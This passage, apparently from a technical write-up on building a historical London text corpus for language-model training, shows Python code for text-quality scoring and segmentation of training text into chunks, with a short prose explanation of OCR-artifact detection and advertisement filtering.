&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;general&amp;#39;&lt;/span&gt;: {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;min_chars&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;200&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;min_words&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;min_meaningful_ratio&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0.50&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;gutenberg&amp;#39;&lt;/span&gt;: {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;min_chars&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;200&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;min_words&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;min_meaningful_ratio&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0.40&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;historical&amp;#39;&lt;/span&gt;: {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;min_chars&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;1000&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;min_words&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;min_meaningful_ratio&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0.30&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    threshold &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; thresholds&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get(source_type, thresholds[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;general&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Quality scoring&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(ocr_issues) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# OCR issues&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-=&lt;/span&gt; ad_density &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Advertisement density&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-=&lt;/span&gt; (&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; meaningful_ratio) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;20&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Meaningful word ratio&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check if text meets quality thresholds&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    meets_thresholds &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        char_count &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;=&lt;/span&gt; threshold[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;min_chars&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        word_count &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;=&lt;/span&gt; threshold[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;min_words&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        meaningful_ratio &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;=&lt;/span&gt; threshold[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;min_meaningful_ratio&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ad_density &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.1&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Less than 10% advertisement content&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;char_count&amp;#39;&lt;/span&gt;: char_count,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;word_count&amp;#39;&lt;/span&gt;: word_count,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;meaningful_ratio&amp;#39;&lt;/span&gt;: meaningful_ratio,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;ocr_issues&amp;#39;&lt;/span&gt;: ocr_issues,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;ad_density&amp;#39;&lt;/span&gt;: ad_density,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;score&amp;#39;&lt;/span&gt;: score,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;meets_thresholds&amp;#39;&lt;/span&gt;: meets_thresholds,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;content_hash&amp;#39;&lt;/span&gt;: hashlib&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;md5(text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode())&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;hexdigest()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 7: Text Quality Analysis Function&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Content Quality Validation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Our validation system employs multiple detection mechanisms to ensure training corpus quality:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OCR Artifact Detection&lt;/strong&gt;: Regex patterns identify common digitization errors, including misread headers, character separation failures, scanning artifacts, alphanumeric misinterpretations, and corrupted text regions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Advertisement Filtering&lt;/strong&gt;: Pattern matching detects commercial content using phrases like &amp;ldquo;this day is published&amp;rdquo;, &amp;ldquo;just ready&amp;rdquo;, &amp;ldquo;elegantly bound&amp;rdquo;, and price references&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quality Scoring&lt;/strong&gt;: A 100-point system deducts points for OCR artifacts (-3 each), advertisement density (-50), and low meaningful word ratios (-20)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This multi-layered approach balances quality standards with preservation of valuable historical content, ensuring the model trains on authentic historical language while filtering out contamination sources.&lt;/p&gt;
&lt;h4 id=&#34;225-stage-5-final-processing-and-corpus-creation&#34;&gt;2.2.5 Stage 5: Final Processing and Corpus Creation&lt;/h4&gt;
&lt;p&gt;After cleaning and validation, we create a final training corpus optimized for language model training. This requires intelligent segmentation that breaks long texts into manageable chunks while preserving the historical narrative flow, which is essential given the context window limits (e.g., 2048 tokens). The code snippet in &lt;a href=&#34;#listing8&#34; class=&#34;listing-ref&#34;&gt;Listing 8&lt;/a&gt; demonstrates this final processing stage.&lt;/p&gt;
&lt;figure id=&#34;listing8&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;create_comprehensive_corpus&lt;/span&gt;(cleaned_files: &lt;span style=&#34;color:#91d7e3&#34;&gt;list&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Create final training corpus with intelligent segmentation&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    corpus_parts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; file_path &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; cleaned_files:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;r&amp;#39;&lt;/span&gt;, encoding&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            content &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; f&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Split into training segments&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        segments &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; split_into_training_segments(content)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        corpus_parts&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;extend(segments)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create final corpus&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    final_corpus &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;join(corpus_parts)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Save to file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;london_historical_corpus_comprehensive.txt&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;w&amp;#39;&lt;/span&gt;, encoding&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        f&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;write(final_corpus)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; final_corpus
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;split_into_training_segments&lt;/span&gt;(text: &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;, max_length: &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;2000&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;list&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Split text into training segments while preserving narrative flow&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# First split on double newlines (paragraphs)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    paragraphs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;split(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    segments &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    current_segment &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; paragraph &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; paragraphs:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(current_segment &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; paragraph) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;=&lt;/span&gt; max_length:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            current_segment &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; paragraph &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; current_segment:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                segments&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(current_segment&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            current_segment &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; paragraph &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; current_segment:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        segments&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(current_segment&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Further split long segments at sentence boundaries&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    final_segments &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; segment &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; segments:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(segment) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; max_length:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            sentences &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; re&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;split(&lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;(?&amp;lt;=[.!?])\s+&amp;#39;&lt;/span&gt;, segment)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            current_segment &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; sentence &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; sentences:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(current_segment &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; sentence) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;=&lt;/span&gt; max_length:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    current_segment &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; sentence &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; current_segment:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        final_segments&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(current_segment&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    current_segment &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; sentence &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; current_segment:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                final_segments&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(current_segment&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            final_segments&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(segment)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Filter out segments that are too short&lt;/span&gt;
